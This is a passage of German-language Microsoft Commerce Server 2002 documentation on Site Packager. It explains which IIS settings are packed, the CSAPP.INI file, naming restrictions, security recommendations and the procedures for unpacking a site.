Während des Packens einer Anwendung sucht Site Packager die IIS-Metabasis auf Ihrem lokalen Computer. Es wird das physische Verzeichnis dieser Anwendung gefunden, das als Stammverzeichnis dieser Anwendung dient. Anschließend packt Site Packager, beginnend mit dem Stammverzeichnis, alle Unterverzeichnisse in eine neue Datei mit der Dateinamenerweiterung PUP. Site Packager hat bestimmte Einstellungen in IIS, wie z. B. Autorisierungen und Zugriffsberechtigungen. Eine Übersicht darüber, welche IIS-Eigenschaften gepackt werden, finden Sie unter Gepackte IIS-Eigenschaften.

Computerspezifische Eigenschaften werden beim Packen von Site Packager nicht berücksichtigt. Webservereigenschaften und einige über Commerce Server Manager eingestellte Eigenschaften werden z. B. nicht gepackt. Eine Übersicht darüber, welche Daten einer Ressource jeweils gepackt werden, finden Sie unter Wo Ressourcen und Daten entpackt werden.

Siehe auch

Gepackte IIS-Eigenschaften

Entpacken einer Site

Packen einer Site


Gepackte IIS-Eigenschaften

Beim Packen einer Site bezieht Site Packager viele Ihrer IIS-Eigenschaften mit ein. Site Packager packt keine IIS-Website (wie z. B. die Standardwebsite), jedoch die Dateien im physischen Stammverzeichnis der Anwendung und alle physischen Unterverzeichnisse mit den zugehörigen Dateien.

So zeigen Sie IIS-Eigenschaften für eine Anwendung, ein Verzeichnis oder eine Datei an

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft Commerce Server 2002, und klicken Sie auf Commerce Server-Manager.
  2. Erweitern Sie im Commerce Server-Manager die Struktur Internetinformationsdienste. Erweitern Sie den Namen des Webservers, der eine Anwendung enthält. Erweitern Sie den Namen der IIS-Website, die die Anwendung enthält, klicken Sie mit der rechten Maustaste auf den Namen der Anwendung, des Verzeichnisses oder der Datei, und klicken Sie dann auf Eigenschaften.

    Das Dialogfeld Eigenschaften der Anwendung wird angezeigt.

Die nachstehenden Tabellen enthalten eine Übersicht über die Eigenschaften für die Registerkarten Virtuelles Verzeichnis und Verzeichnissicherheit im Dialogfeld Eigenschaften und geben an, welche davon bei der Verwendung von Site Packager gepackt werden.

Registerkarte "Virtuelles Verzeichnis"

Feld | Gepackt/Nicht gepackt
Skriptzugriff | wird gepackt
Lesen | wird gepackt
Schreiben | wird gepackt
Verzeichnis durchsuchen | wird gepackt
Besuche protokollieren | wird gepackt
Ressource indizieren | wird gepackt
Anwendungsname | werden nicht gepackt
Ausgangspunkt | werden nicht gepackt
Ausführberechtigungen | wird gepackt
Anwendungsschutz | ist beim Entpacken immer auf Mittel eingestellt
Anwendungskonfigurationseinstellungen (wird nach Klicken auf Konfiguration angezeigt) | werden nicht gepackt

Registerkarte "Verzeichnissicherheit"

Feld | Gepackt/Nicht gepackt
Anonymer Zugriff | wird gepackt
Konto für anonymen Zugriff | werden nicht gepackt
Standardauthentifizierung | wird gepackt
Domäne für Standardauthentifizierung | werden nicht gepackt
Digestauthentifizierung | wird gepackt
Integrierte Windows-Authentifizierung | wird gepackt
Beschränkungen für IP-Adressen und Domänennamen | werden nicht gepackt
Sichere Verbindungen (SSL-Zertifikate) | werden nicht gepackt

Hinweis

  • Die Inhalte der Registerkarten Dokumente, HTTP-Header und Benutzerdefinierte Fehler werden nicht gepackt. Die Skriptdatei UNPACK.VBS für Commerce Server Business Desk fügt nach dem Entpacken benutzerdefinierte Fehler für Business Desk hinzu.

Virtuelle IIS-Verzeichnisse

Wenn sich innerhalb der Anwendung virtuelle Verzeichnisse befinden, werden die virtuellen Verzeichnisobjekte, Verzeichnisse und Dateien in dem Pfad, auf den die Anwendung verweist, nicht gepackt. Wenn Sie diese Verzeichnisse und Dateien packen möchten, müssen Sie sie zuvor in ein Verzeichnis des physischen Pfades der Anwendung kopieren.

NTFS-Berechtigungen

NTFS-Berechtigungen und Zugriffssteuerungslisten in Verzeichnissen und Dateien werden nicht gepackt. Mithilfe der Skripts UNPACK.VBS bzw. POSTSITE.VBS können Sie NTFS-Berechtigungen nach dem Entpacken automatisch zuweisen.


Optionen zum Entpacken

Standardmäßig entpackt Site Packager jede Anwendung in ein virtuelles Verzeichnis der IIS-Standardwebsite, das mit dem Anwendungsnamen übereinstimmt. Um die Sicherheit der Site zu erhöhen, sollten Sie eine neue IIS-Website erstellen, anstatt die Standardwebsite für die von Ihnen entpackten Commerce Server-Sites zu verwenden. Sie können den Namen des virtuellen Verzeichnisses ändern, das zu jeder Anwendung gehört. Um die IIS-Website oder das virtuelle Verzeichnis beim Entpacken zu ändern, müssen Sie den Modus Benutzerdefiniert von Site Packager verwenden.

Wenn Sie Anwendungsdateien einem Webserver in einer Webfarm hinzufügen, ordnen Sie diesen Webserver in Commerce Server-Manager der entsprechenden Anwendung zu. Site Packager zeigt den Namen der IIS-Website an, in der die Anwendung installiert wird, sowie den IIS-Anwendungspfad für jede Commerce Server-Anwendung.

Wenn Sie eine Site und eine Anwendung entpacken, die bereits in der Verwaltungsdatenbank existieren, geht Site Packager davon aus, dass Sie einen Webserver zu einer Anwendung hinzufügen.

Siehe auch

Entpacken einer Site

Wo Ressourcen und Daten entpackt werden


Datei CSAPP.INI

Commerce Server Site Packager erstellt die Datei CSAPP.INI im Verlauf des Entpackungsprozesses. Nach Abschluss des Entpackungsprozesses darf die Datei CSAPP.INI nicht gelöscht werden; die Datei ist sowohl für AuthManager als AuthFilter erforderlich und muss sich im Stammverzeichnis der Site befinden.

In der nachstehenden Tabelle finden Sie die in der Datei CSAPP.INI enthaltenen Eigenschaften sowie entsprechende Beschreibungen.

Eigenschaft | Beschreibung
Pfad | Der physische Pfad zum Stamm der Anwendung.
Sitename | Der Name der Site, wie er in der Verwaltungsdatenbank angezeigt wird.
AddressKeyName | Der Name der Anwendung in der Datenbank, unter dem alle für IIS erforderlichen Informationen abgelegt werden.
RelativeURL | Der Name des virtuellen IIS-Verzeichnisses für die Anwendung (relativ zur Standardwebsite). Wenn die Anwendung beispielsweise im Stammverzeichnis der IIS-Website gespeichert ist, wird sie als "relativ zum Basisstamm einer gegebenen IIS-Website" bezeichnet.
AbsoluteURL | Die Adresse der Anwendung einschließlich des Computernamens.
PackagePath | Das Paket, aus dem die Anwendung extrahiert wurde.

In dieser Datei kann nur die Eigenschaft RelativeURL geändert werden. Wenn Sie der Anwendung manuell einen anderen IIS-Pfad zuweisen, muss die Eigenschaft RelativeURL angepasst werden, damit sie auf das entsprechende relative virtuelle Verzeichnis der IIS-Website verweist. Wenn die Anwendung in den Stamm einer Website verschoben wird, muss der Adresse ein Schrägstrich hinzugefügt werden (/). Beispiel: RelativeURL=/. Wenn die Eigenschaft RelativeURL vorhanden ist, kann der CS-Authentifizierungsdienst erkennen, von wo aus die Anwendung ausgeführt wird. Die Eigenschaft RelativeURL wird beim Entpacken jedes Mal neu erstellt.

Hinweis

  • Sichern Sie die Datei CSAPP.INI, indem Sie sowohl den Lese- als auch den Schreibzugriff darauf in IIS deaktivieren. Verwenden Sie zum Sichern dieser Datei keine NTFS-Berechtigungen, da die Datei mit Benutzeridentifikationen wie dem IUSR-Konto aufgerufen werden können muss. Nach dem Entpacken einer Site darf die Datei CSAPP.INI nicht gelöscht werden; die Datei ist sowohl für AuthManager als auch AuthFilter erforderlich und muss sich im Stammverzeichnis der Site befinden. AuthManager ruft die Eigenschaften SiteName und "AddressKeyName" aus der Datei CSAPP.INI ab.

Siehe auch

Werte der Datei CSAPPI.INI für die Authentifizierung

Entpacken einer Site

Packen einer Site


So werden globale Ressourcen entpackt

Beim Commerce Server-Setup werden mit dem Vorhersagedienst und Direct Mailer zwei globale Ressourcen installiert. Alle anderen globalen Ressourcen werden mithilfe von Site Packager installiert. Bevor Sie eine Site entpacken, die die globalen Ressourcen Vohersagedienst bzw. Direct Mailer benötigt, müssen Sie diese Ressourcen über das Commerce Server-Setup installieren. Informationen über das Installieren globaler Ressourcen finden Sie unter Installieren und Deinstallieren von globalen Ressourcen.

Siehe auch

Informationen zu Site Packager

Entpacken einer Site

Packen einer Site

Installieren und Deinstallieren von globalen Ressourcen


So werden Datenbank- und Anwendungsnamen erstellt

Commerce Server Site Packager entnimmt die Datenbank- und Anwendungsnamen dem Paket.

Für jede Anwendung im Paket wird eine IIS-Anwendung erstellt. Im Paket wird der vollständige Pfad jeder Anwendung gespeichert.

Siehe auch

Informationen zu Site Packager

Entpacken einer Site

Packen einer Site

Wo sich Datenbanken befinden


Wo sich Datenbanken befinden

Sie werden von Site Packager nicht aufgefordert, die Speicherorte Ihrer Datenbanken anzugeben. Stattdessen verwendet Site Packager die SQL Server-Standardverzeichnisse. Stellen Sie sicher, dass genügend Festplattenspeicherplatz zur Verfügung steht, um die Datenbanken auf den Datenbankservern zu erstellen.

Siehe auch

Informationen zu Site Packager

Entpacken einer Site

Packen einer Site

So werden Datenbank- und Anwendungsnamen erstellt


So werden Webserverberechtigungen eingestellt

IIS-Webserverberechtigungen können eingerichtet werden, um den Zugriff anonymer Benutzer auf die Anwendungen einzuschränken sowie um die Ansicht von Quellcode über das Internet auch für Benutzer mit Windows-Berechtigungen (bzw. Zugriffssteuerungseinträgen) einzuschränken.

Der Unterschied zwischen Webserverberechtigungen und NTFS-Berechtigungen ist unbedingt zu beachten. Im Gegensatz zu NTFS beziehen sich Webserverberechtigungen auf alle Benutzer, die auf Ihre Website zugreifen. NTFS-Berechtigungen beziehen sich nur auf Benutzer oder Benutzergruppen mit gültigem Windows-Konto. NTFS-Berechtigungen steuern den Zugriff auf physische Verzeichnisse Ihres Servers, während Webberechtigungen den Zugriff auf virtuelle Verzeichnisse Ihrer Website steuern.

Beim Packen einer Site werden die Webserverberechtigungen der Quellsite übernommen. Beispiel: Wenn Sie im Stammverzeichnis Ihrer Anwendung auf dem Quellcomputer die Einstellung Ausführberechtigungen auf Skripts und ausführbare Dateien festgelegt haben, wird die gleiche Einstellung in das virtuelle Stammverzeichnis auf dem Zielcomputer übernommen.

In der folgenden Tabelle wird z. B. gezeigt, wie die IIS-Berechtigungen in den von Microsoft zur Verfügung gestellten Paketen eingestellt sind.

Verzeichnis | Berechtigungen
Stamm | Einstellen von Ausführberechtigung auf Skripts und ausführbare Dateien
Pipeline, Include, Template | Verweigern von Lese-, Schreib- und Ausführberechtigung.

Hinweis

  • Site Packager übernimmt keine Windows-Zugriffssteuerungslisten (ACLs), die NTFS-Berechtigungen enthalten. ACLs beschreiben die Gruppen und Personen, die zum Zugriff auf bestimmte Objekte in Microsoft Windows 2000 berechtigt sind. Zu diesen Objekten zählen Objekte des Active Directory-Verzeichnisdienstes, lokale NTFS-Dateien und -Ordner, die Registrierung sowie Drucker.

Siehe auch

Commerce Server und IIS

Packen einer Site

Entpacken einer Site

Wo Ressourcen und Daten entpackt werden.

Ausführen von Site Packager von der Befehlszeile


Empfehlungen für Site Packager

Dieses Thema enthält wichtige Informationen zum Packen Ihrer Commerce Server 2002-Site.

Sicherheitsbelange

Tipps zur Verwendung von Site Packager

Sicherheitsbelange

  • Nachdem Sie eine Site entpacken, enthält das Stammverzeichnis der Anwendung möglicherweise ein Skript mit der Bezeichnung UNPACK.VBS (wenn Sie die leere Site entpacken, ist kein solches Skript vorhanden). Diese Datei muss sofort nach dem Entpacken gelöscht oder gesichert werden.
Anonyme Benutzer können auf die Datei zugreifen. Eine nicht autorisierte Verwendung dieser Skriptdatei könnte zu einem Denial of Service oder zu einem Verlust von Einstellungen führen.
  • Windows-Konten mit Business Desk-Berechtigungen sollten vor dem Packen einer Site überprüft werden.

    Wenn Sie eine Site mithilfe von Commerce Server Site Packager entpacken, werden gleichzeitig die Windows-Konten mit Business Desk-Berechtigungen entpackt.

    Beispiel: Sie haben Commerce Server auf einem Computer installiert und fügen lokale Gruppen und Konten hinzu. Wenn Sie die Site nun packen und auf einem anderen Computer wieder entpacken, werden die Konten ebenfalls entpackt. Beim Öffnen von Business Desk sind die Berechtigungen aktiv.

  • Es wird empfohlen, die Verwaltungsdatenbank unmittelbar nach dem Installieren der Site sowie nach allen grundlegenden Änderungen an der Konfiguration der Commerce Server-Bereitstellung unter einem anderen Namen zu sichern.
Sie können diese Sicherungskopie verwenden, um alle später vorgenommenen Änderungen rückgängig zu machen.
  • Wenn Sie eine Site in der Verwaltungswebsite von IIS entpacken, sind die Site und Business Desk aufgrund der Sicherheitsbeschränkungen für die IIS-Verwaltung nicht funktionsfähig.

Tipps zur Verwendung von Site Packager

  • Führen Sie Site Packager nicht auf Produktionssites aus.

    Wenn Site Packager auf einer Produktionssite ausgeführt wird, antwortet die Site möglicherweise nicht ordnungsgemäß auf Anforderungen von Clients.

  • Informationen zum Einschließen von benutzerdefinierten Tabellen und den darin enthaltenen Daten finden Sie unter Using the GenericPup Object (englisches Thema).
  • Führen Sie nie mehr als eine Instanz von Site Packager gleichzeitig auf einem Computer aus.
  • Wenn Sie mehrere Instanzen der Business Desk-Anwendung in einer vorhandenen Site mit einem anderen IIS-Anwendungsnamen installieren möchten, müssen Sie die HTML-Anwendungsdateien (HTA) umbenennen und vor der Installation neue Verknüpfungssymbole für Business Desk erstellen.
Wenn Sie die Dateien nicht umbenennen, ersetzen die HTA-Dateien die auf der ursprünglichen Site basierenden Dateien sowie die Business Desk-Symbole.
  • Verwenden Sie den Modus "Benutzerdefiniert" von Site Packager, um eine Site in einer anderen Internetinformationsdienste (IIS) 5.0-Website (oder höher) als der standardmäßigen zu entpacken.
  • Wenn Sie die Direct Mailer-Ressource entpacken, nachdem Sie eine Commerce Server Business Desk-Anwendung entpackt und einen Business Desk Client installiert haben, müssen Sie IIS auf dem Webserver, auf dem sich die Business Desk-Anwendung befindet, neu starten. Erst danach erkennt das System, dass Direct Mailer hinzugefügt wurde.
Business Desk-Clients müssen die Verbindung zur Anwendung erneut herstellen. Informationen zum Neustarten von IIS finden Sie unter Neustarten von IIS und Commerce Server-Diensten.
  • Wenn Sie eine Commerce Server-Anwendung packen, deren virtuelles Verzeichnis untergeordnete IIS-Anwendungen enthält, packt Site Packager auch die Ordner und Dateien der untergeordneten Anwendungen.
Wenn Sie die Ordner und Dateien der untergeordneten Anwendungen nicht in das Paket aufnehmen möchten, müssen Sie sie nach dem Entpacken der übergeordneten Commerce Server-Anwendung löschen.
  • Site Packager packt keine Dateien in untergeordneten virtuellen Verzeichnissen der IIS-Anwendung.
Wenn Sie Dateien in untergeordneten virtuellen Verzeichnissen packen möchten, verschieben Sie vor dem Packen der Site die Ordner und Dateien in untergeordnete Verzeichnisse des Stammverzeichnisses der IIS-Anwendung.
  • Bevor Sie eine Site packen, die Anwendungen (z. B. Retail und RetailBusinessDesk) auf separaten Webservern hat, müssen Sie einen der Webserver zu der anderen Anwendung hinzufügen.
Wenn z. B. Retail auf Computer A und RetailBizDesk auf Computer B installiert ist, können Sie Site Packager auf Computer B ausführen, um diesen als Webserver für Retail hinzuzufügen. Anschließend können Sie die Site von Computer B aus packen. (Umgekehrt können Sie Computer A zu RetailBizDesk hinzufügen und die Site von dort aus packen.) Weitere Informationen finden Sie unter Hinzufügen eines Webservers zu einer Anwendung.
  • Wenn Sie eine Organisationseinheit (Organizational Unit, OU) mit reinen Unicodezeichen in Site Packager angeben, wird die OU in Active Directory mit nicht lesbaren Zeichen wiedergegeben.
Dieser Umstand ist beim Übertragen von Unicodezeichenfolgen an das Run-Verfahren des WScript.Shell-Objekts zu beachten. Die Einschränkung gilt für Plattformen mit Microsoft Windows 95, Microsoft Windows 98, Microsoft Windows NT und Microsoft Windows 2000. Eine Lösung dieses Problems wird in Microsoft Windows.NET Enterprise Server bereitgestellt. Benutzer, die Ihre Plattform nicht aktualisieren möchten, können die Skriptmodule von Windows auf Version 5.6 aktualisieren. Die Aktualisierung kann nach Markteinführung von Windows .NET Server kostenlos heruntergeladen werden.


Einschränkungen für Namen und Dateigröße in Site Packager

Enthält eine Auflistung der Beschränkungen für Dateinamen und die Dateigröße in Site Packager.

  • Sitenamen
    • Um Fehler beim Entpacken zu vermeiden, dürfen folgende Zeichen nicht in Sitenamen enthalten sein:

      /, ?, &, \, <, >, :, |, #, @, % und '

    • Geben Sie keine Sitenamen mit mehr als 127 Single-Byte-Zeichen oder Double-Byte-Zeichen an.
    • Nennen Sie die Site nicht "Commerce". Dies ist ein für die OLAP-Datenbank reservierter Name. Wenn Sie Ihre Site "Commerce" nennen, kann dies beim nächsten Entpacken einer Site zum Verlust Ihrer OLAP-Datenbank führen.
  • Virtuelle Namen
    • Um IIS-Fehler zu vermeiden, dürfen folgende Zeichen nicht in Namen von virtuellen Verzeichnissen enthalten sein:

      #, @, % und '

    • Site Packager entpackt jede Anwendung im Basisverzeichnis der jeweiligen IIS-Website. Im Basisverzeichnis erstellt Site Packager ein Unterverzeichnis mit dem Namen des virtuellen IIS-Verzeichnisses der Anwendung.
  • Anwendungsnamen
    • Sie können Ihre Anwendungen folgendermaßen benennen:

      Kampagnen

      Transaktionen

      Produktkatalog

      Direct Mail

      Vorhersagedienst

      Anwendungsstandardkonfiguration

      BDSecurity

      Biz Data Service

      Transaktionskonfiguration

      Site Data Warehouse

      Global Data Warehouse

      Site CS Authentication

    • Das Zeichen ‘\’ darf in Anwendungsnamen nicht enthalten sein.
    • Wenn Sie die Anwendung in den Stamm der Website entpacken möchten, können Sie wahlweise das Zeichen "/" verwenden oder das Feld leer lassen.


Entpacken einer Site

Verwenden Sie Commerce Server Site Packager, um eine Site vollständig oder teilweise auf einen oder mehrere Computer zu entpacken. Sie können eine Site auf einem lokalen Webserver entpacken oder einen Remote-Webserver angeben. Beim Ausführen von Site Packager müssen Sie die entsprechenden Berechtigungen besitzen, um Dateien in die Zielverzeichnisse kopieren zu können.

Im Lieferumfang von Commerce Server ist die leere Lösungssite enthalten. Die Retail-Site und die SupplierActiveDirectory-Lösungssite können Sie unter http://go.microsoft.com/fwlink/?linkid=6491 herunterladen. Die Sites enthalten außerdem eine Business Desk-Anwendung. Informationen zum Installieren der Lösungssites für Commerce Server 2002 finden Sie unter "Installieren von Lösungssites für Commerce Server 2002" im Commerce Server 2002-Installationshandbuch.

Dieser Abschnitt beinhaltet folgende Themen:

  • Entpacken einer Site auf einen lokalen Webserver
  • Entpacken einer Site auf einen Remote-Webserver


Entpacken einer Site auf einen lokalen Webserver

Sie können eine Site auf einen lokalen Webserver entpacken und alle Ihre Dateien auf einem einzelnen SQL Server-Computer ablegen oder den Webserver einer vorhandenen Anwendung hinzufügen. In diesem Fall müssen Sie angeben, dass für die Site mehr als ein Datenbankserver verwendet wird. In diesem Abschnitt wird beschrieben, wie eine Site durch Akzeptieren der meisten Standardeinstellungen schnell entpackt werden kann und wie Sie eine Site durch Festlegen aller Einstellungen entpacken können.

Verwenden Sie das schnelle Entpacken in folgenden Fällen:

  • Commerce Server und IIS sind auf demselben Computer installiert.
  • Sie möchten alle Ihre Datenbankdateien auf einem einzelnen SQL Server-Computer ablegen.
  • Sie möchten eine vollständige Site entpacken.

Verwenden Sie das benutzerdefinierte Entpacken in folgenden Fällen:

  • Commerce Server und IIS sind auf verschiedenen Computern installiert.
  • Sie möchten einer vorhandenen Site ausschließlich Ressourcen des Pakets hinzufügen.
  • Sie möchten dem Paket einer vorhandenen Site nur eine einzelne Anwendung hinzufügen.
  • Sie möchten einen Webserver einer vorhandenen Anwendung in einer vorhandenen Site hinzufügen.
  • Sie möchten Ihre Datenbankdateien auf verschiedene SQL Server-Computer verteilen.

Hinweis

  • In den folgenden Anweisungen wird davon ausgegangen, dass der beim lokalen Computer angemeldete Benutzer über die entsprechenden Berechtigungen zum Kopieren von Dateien in die Zielordner verfügt.

Entpacken einer Site unter Verwendung der Standardeigenschaften

Entpacken einer Site unter Verwendung benutzerdefinierter Eigenschaften


Entpacken einer Site unter Verwendung der Standardeigenschaften

Verwenden Sie die folgenden Verfahren, um den Entpackungsprozess zu verkürzen und alle Ihre Datenbankdateien auf einen lokalen bzw. einen Remote-SQL Server-Computer zu installieren:

So entpacken Sie eine Site schnell (Standardeinstellungen akzeptieren)

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002. Klicken Sie anschließend auf Commerce Site Packager.

    Der Bildschirm Commerce Server Site Packager wird angezeigt.

  2. Wählen Sie im Bildschirm Commerce Server Site Packager die Option Aus Paketdatei (*.pup) entpacken, und klicken Sie auf Weiter.

    Der Bildschirm Entpacken wird angezeigt.

  3. Klicken Sie im Bildschirm Entpacken auf Durchsuchen.

    Das Dialogfeld Öffnen wird angezeigt.

  4. Navigieren Sie im Dialogfeld Öffnen zu dem Ordner, der die zu entpackende Datei enthält. Wählen Sie die Datei, und klicken Sie dann auf Öffnen.

    Der Bildschirm Entpacken wird angezeigt. Das von Ihnen ausgewählte *.pup-Paket wird im Dialogfeld Zu entpackende Datei angezeigt.

  5. Wählen Sie im Bildschirm Entpacken die Option Schnelles Entpacken aus, und klicken Sie anschließend auf Weiter.

    Der Bildschirm Schnelles Entpacken wird angezeigt.

  6. Führen Sie im Bildschirm Schnelles Entpacken folgende Schritte aus:
    Funktion | Aktion
    Sitename | Geben Sie den Sitenamen ein, falls er geändert werden soll. Eine Auflistung der Namensbeschränkungen finden Sie unter Einschränkungen für Namen und Dateigröße in Site Packager.
    IIS-Website Wählen Sie in der Dropdownliste den Namen der IIS-Website aus, auf der die Anwendung(en) installiert werden soll(en).

    Hinweis

    • Entpacken Sie keine Sites in der Verwaltungswebsite. Wenn Sie eine Site in der Verwaltungswebsite entpacken, sind die Site und Business Desk aufgrund der Sicherheitsbeschränkungen für die IIS-Verwaltung nicht funktionsfähig.
    SQL Server-Computer | Geben Sie den Namen des SQL Server-Computers ein, auf dem sich die Sitedatenbanken befinden, oder übernehmen Sie die Standardeinstellung.
    Integrierte Sicherheit von Windows verwenden Wählen Sie diese Option, wenn Sie die integrierte Windows-Authentifizierung verwenden möchten.

    Dies ist die empfohlene Konfiguration.
    Spezifischen Benutzernamen und spezifisches Kennwort verwenden | Wählen Sie diese Option, wenn Sie für Verbindungen mit der Datenbank die SQL Server-Authentifizierung verwenden möchten.
    SQL Server-Anmeldename Geben Sie den SQL Server-Anmeldenamen für die Datenbanken ein.

    Hinweis

    • Verwenden Sie aus Sicherheitsgründen nicht die Systemadministratoranmeldung für den Zugriff auf die Verwaltungsdatenbank. Um die Anmeldeinformationen für die Verwaltungsdatenbank nach deren Erstellung zu ändern, verwenden Sie SQL Server Enterprise Manager.
    SQL Server-Anmeldekennwort | Geben Sie das SQL Server-Kennwort für die Datenbanken ein.
  7. Klicken Sie auf Weiter.

    Der Bildschirm Wird entpackt… wird mit einer Auflistung der aktuell ausgeführten Tasks angezeigt. Nach Abschluss dieser Tasks wird der Bildschirm Data Warehouse angezeigt, sofern beim Installationsprozess die Data Warehouse-Ressource eingerichtet wurde.

  8. Führen Sie zum Festlegen der Einstellungen für die Ressource Data Warehouse folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für die globale Data Warehouse-Ressource ein, oder übernehmen Sie die Standardeinstellung.
    Server | Geben Sie den Namen für den SQL Server-Rechner ein, der als OLAP-Computer (Online Analytical Processing) fungieren soll, oder übernehmen Sie die Standardeinstellung.
    Datenbank | Geben Sie den Namen der OLAP-Datenbank ein, oder übernehmen Sie die Standardeinstellung.
  9. Klicken Sie auf OK.

    Der Bildschirm Wird entpackt… wird mit einer Auflistung der aktuell ausgeführten Tasks angezeigt. Nach Abschluss dieser Tasks wird der erste Profilsystem-Bildschirm angezeigt.

    Wenn beim Installationsprozess die Ressource Profile installiert wurde, wird das erste von zwei Dialogfeldern mit der Bezeichnung Profilsystem angezeigt.

  10. Wenn Sie eine Lösungssite entpacken und die Standardeinstellungen übernehmen möchten, fahren Sie direkt mit dem nachstehenden Schritt 12 fort.
  11. Wenn Sie eigene Profileinstellungen festlegen möchten, gehen Sie folgendermaßen vor:
    Funktion Aktion
    Profilschemadefinition Geben Sie die beim Packen der Site gespeicherte XML-Datei an.

    Beim Packen der Site extrahiert Site Packager das Profilschema aus Ihrer Profildatenbank und speichert es in einer XML-Datei.

    Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei ProfileDefinition. Die Datei enthält folgende Profildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.
    Sitebegriffsdefinition Geben Sie die beim Packen der Site gespeicherte XML-Datei an.

    Beim Packen der Site extrahiert Site Packager die Sitebegriffsdefinition aus Ihrer Profildatenbank und speichert sie in einer XML-Datei.

    Wenn Sie eine Lösungssite entpacken, übernehmen Sie die standardmäßig vorgeschlagene XML-Datei SiteTerms. Die Datei enthält die verfügbaren vordefinierten Sitebegriffe.
    Ausdrucksdefinition Geben Sie die beim Packen der Site gespeicherte XML-Datei an.

    Beim Packen der Site extrahiert Site Packager die von Ihnen mithilfe von Business Desk festgelegten Ausdrucksdefinitionen und speichert sie in einer XML-Datei.

    Wenn Sie eine Lösungssite entpacken, wird eine Standard-XML-Datei mit der Bezeichnung ExpressionDefinition bereitgestellt. Die Datei enthält keine vordefinierten Ausdrücke für die Lösungssite.
  12. Klicken Sie auf Weiter.

    Wenn beim Installationsprozess die Ressource Profile installiert wurde, wird nun das zweite der beiden Dialogfelder mit der Bezeichnung Profilsystem angezeigt.

  13. Wenn Sie eine Lösungssite entpacken und die Standardeinstellungen übernehmen möchten, fahren Sie direkt mit dem nachstehenden Schritt 15 fort.
  14. Wenn Sie eigene Profileinstellungen festlegen möchten, gehen Sie folgendermaßen vor:
    Funktion Aktion
    Verbindungszeichenfolge für das Profilsystem Übernehmen Sie die standardmäßig vorgeschlagene Verbindungszeichenfolge für die Profildatenbank, oder klicken Sie auf Ändern, um eine neue Verbindungszeichenfolge zu konfigurieren.

    Hinweis

    • Wenn Sie die XML-Datei ändern, werden die in der Verbindungszeichenfolge enthaltenen Daten von Commerce Server nicht übernommen. Die neue XML-Datei kann andere Typen sowie eine andere Anzahl zusammengesetzter Datenspeicher als die Standard-XML-Datei enthalten. Sie müssen die Verbindungszeichenfolge daher erneut eingeben.
    Schemadefinitionsskripts (*.sql, *.vbs) Geben Sie das Schemadefinitionsskript an, mit dem die Profiltabellen in den Laufzeitdatenspeichern (SQL-Tabellen zum Speichern von Benutzerdaten wie Adresse, Unternehmen usw.) erstellt werden sollen.

    Wenn Sie eine Lösungssite entpacken, erstellt SCHEMAUPM_SQLSource.SQLSource die Tabellen für die Standardprofildefinitionen: Adressen, Pauschalbestellungen, Organisation, Benutzerobjekt und Zielgruppenadressierungs-Kontext.

    Ein Beispielskript finden Sie in der Datei ProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

    Wenn Sie die Benutzerobjekt-Tabelle oder andere Profilschemadefinitionen modifizieren, müssen Sie SQL Server Enterprise Manager verwenden, um ein Skript zu erstellen, das hier verwendet werden kann. Weitere Informationen finden Sie unter Packen von erweiterten Profilschemas.
    Datenauffüllungsskripts (*.sql) Wenn Sie die Profildaten aus einer Profildatenbank extrahiert haben, können Sie Datenauffüllungsskripts angeben, mit denen Ihre Daten beim Entpacken in die neue Profildatenbank importiert werden.

    Ein Beispielskript mit Daten für zwei Benutzer finden Sie in der Datei PopulateProfileSQL.sql unter \Programme\Microsoft Commerce Server 2002.

    Weitere Informationen zur Verwendung von Skripts finden Sie unter Verwenden von Skripts mit Site Packager.
  15. Klicken Sie auf OK.
  16. Wenn Sie mit der integrierten Windows-Sicherheit arbeiten, prüfen Sie im Dialogfeld Commerce Server Site Packager die Liste der entpackten Ressourcen, welche für die entsprechenden Windows-Konten Berechtigungen erfordern, und klicken Sie dann auf OK.

    Wenn Sie die Option Integrierte Windows-Sicherheit verwenden nicht aktiviert haben, fahren Sie mit dem nächsten Schritt fort.

  17. Sehen Sie sich im Dialogfeld Das Entpacken ist abgeschlossen die Liste der erstellten SQL-Datenbanken und der IIS-Anwendungen an. Klicken Sie auf Protokolldatei anzeigen, um die Liste der Ereignisse in der Site Packager-Protokolldatei anzusehen.
  18. Klicken Sie auf Fertig stellen, um Site Packager zu schließen.


Entpacken einer Site unter Verwendung benutzerdefinierter Eigenschaften

Zum Hinzufügen von Ressourcen oder einer Anwendung zu einer vorhandenen Site bzw. zum Hinzufügen eines Webservers zu einer vorhandenen Anwendung verwenden Sie die nachstehenden Verfahren. Sie können auch festlegen, dass für die Site mehrere Datenbankserver verwendet werden sollen.

So entpacken Sie eine Site mit der Option "Benutzerdefiniertes Entpacken"

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002. Klicken Sie anschließend auf Commerce Site Packager.
  2. Wählen Sie im Dialogfeld Willkommen die Option Aus Paketdatei (.pup) entpacken, und klicken Sie auf Weiter.
  3. Geben Sie im Dialogfeld Entpacken den Pfad und den Dateinamen der zu entpackenden Datei ein, oder klicken Sie auf die Schaltfläche Durchsuchen.

    Nachdem Sie auf die Schaltfläche Durchsuchen geklickt haben, wechseln Sie im Dialogfeld Öffnen zu dem Ordner mit der zu entpackenden Datei, wählen Sie die Datei aus, und klicken Sie anschließend auf Öffnen.

  4. Wenn das Dialogfeld Entpacken wieder angezeigt wird, wählen Sie darin die Option Benutzerdefiniertes Entpacken aus, und klicken Sie anschließend auf Weiter.
  5. Wählen Sie im Dialogfeld Entpackmethode eine der Entpackungsoptionen aus, und klicken Sie dann auf Weiter.

Die Entpackungsoptionen werden in den nachstehenden Prozeduren erläutert.

So erstellen Sie eine neue Site

So fügen Sie einer vorhandenen Site Ressourcen des Pakets hinzu

So fügen Sie einer vorhandenen Site eine Anwendung des Pakets hinzu

So fügen Sie einer vorhandenen Anwendung in einer vorhandenen Site einen Webserver hinzu

So erstellen Sie eine neue Site

Verwenden Sie diese Option zum Entpacken der Inhalte des gewählten Sitepakets in eine neue Site.

  1. Geben Sie im Dialogfeld Sitename den Namen der neuen Site ein, und klicken Sie dann auf Weiter.
